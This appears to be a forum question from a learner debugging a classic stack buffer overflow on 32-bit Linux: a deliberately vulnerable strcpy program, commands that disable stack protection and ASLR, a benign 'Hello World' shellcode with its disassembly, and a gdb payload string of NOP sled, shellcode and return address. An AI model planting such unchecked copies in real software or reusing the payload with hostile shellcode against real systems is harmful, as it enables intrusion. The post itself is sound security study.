I am trying to execute a simple shellcode by using a buffer overflow. The shell code starts executing but stops in the middle (even though it is fully copied to memory).
This is the vulnerable C code:
#include <stdio.h>
#include <string.h>
void foo(char *c) {
char buf[80];
strcpy(buf, c);
}
int main(int argc, char *argv[]){
foo(argv[1]);
return 0;
}
Code compiled with: gcc -m32 -fno-stack-protector -z execstack s.c
And I've disabled ASLR: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
This is the shell code in ASM (it just prints a "Hello_World!" string):
global _start
section .text
_start:
; write(1, "Hello World!\0", 13);
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 0x4
mov bl, 0x1
; '\0'
push ecx
;"!dlr"
push 0x21646C72
;"oW_o"
push 0x6f575f6f
;"lleH"
push 0x6C6C6548
mov ecx, esp
mov dl, 0xD
int 0x80
; _exit(0)
xor eax, eax
xor ebx, ebx
mov al, 0x1
xor bl, bl
int 0x80
../shellcode-hello/hello: file format elf32-i386
Disassembly of section .text:
08049000 <_start>:
8049000: 31 c0 xor %eax,%eax
8049002: 31 db xor %ebx,%ebx
8049004: 31 c9 xor %ecx,%ecx
8049006: 31 d2 xor %edx,%edx
8049008: b0 04 mov $0x4,%al
804900a: b3 01 mov $0x1,%bl
804900c: 51 push %ecx
804900d: 68 72 6c 64 21 push $0x21646c72
8049012: 68 6f 5f 57 6f push $0x6f575f6f
8049017: 68 48 65 6c 6c push $0x6c6c6548
804901c: 89 e1 mov %esp,%ecx
804901e: b2 0d mov $0xd,%dl
8049020: cd 80 int $0x80
8049022: 31 c0 xor %eax,%eax
8049024: 31 db xor %ebx,%ebx
8049026: b0 01 mov $0x1,%al
8049028: b3 00 mov $0x0,%bl
804902a: cd 80 int $0x80
I've then loaded the program to gdb and executed: run $(perl -e 'print "\x90" x 48 . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x51\x68\x72\x6c\x64\x21\x68\x6f\x5f\x57\x6f\x68\x48\x65\x6c\x6c\x89\xe1\xb2\x0d\xcd\x80\x31\xc0\x31\xdb\xb0\x01\x30\xdb\xcd\x80" . "\x30\xce\xff\xff"')
I've set up a breakpoint after strcpy()
to ensure that the NOP sleds + shell code + return address are all overridden. x/120xb $esp
confirms that.
By using si
I am able to confirm that the NOPs started executing -- and it also started executing part of y shell code. But for some strange reason, the shell code stops executing after mov dl, 0xd
and it doesn't even execute the first 0x80 (for the write() system call). This is code being executed from gdb:
0xffffce62 push 0x6f575f6f
0xffffce67 push 0x6c6c6548
0xffffce6c mov ecx, esp
→ 0xffffce6e mov dl, 0xd
0xffffce70 dec eax
0xffffce71 gs ins BYTE PTR es:[edi], dx
0xffffce73 ins BYTE PTR es:[edi], dx
0xffffce74 outs dx, DWORD PTR ds:[esi]
0xffffce75 pop edi
Note that after the arrow (→), gdb stops executing my shell code in the middle of it (thus the last line of the shell code that was execute was mov dl, 0xd
) -- GDB then starts executing some garbage code.
Why is this so? Is there a fix?
push
instructions, the push data is overriding my shell code and thus the shell code executing is halted in the middle of it. Do not know yet how I can change the stack pointer address when executing the shell code such that it does not override my shell code..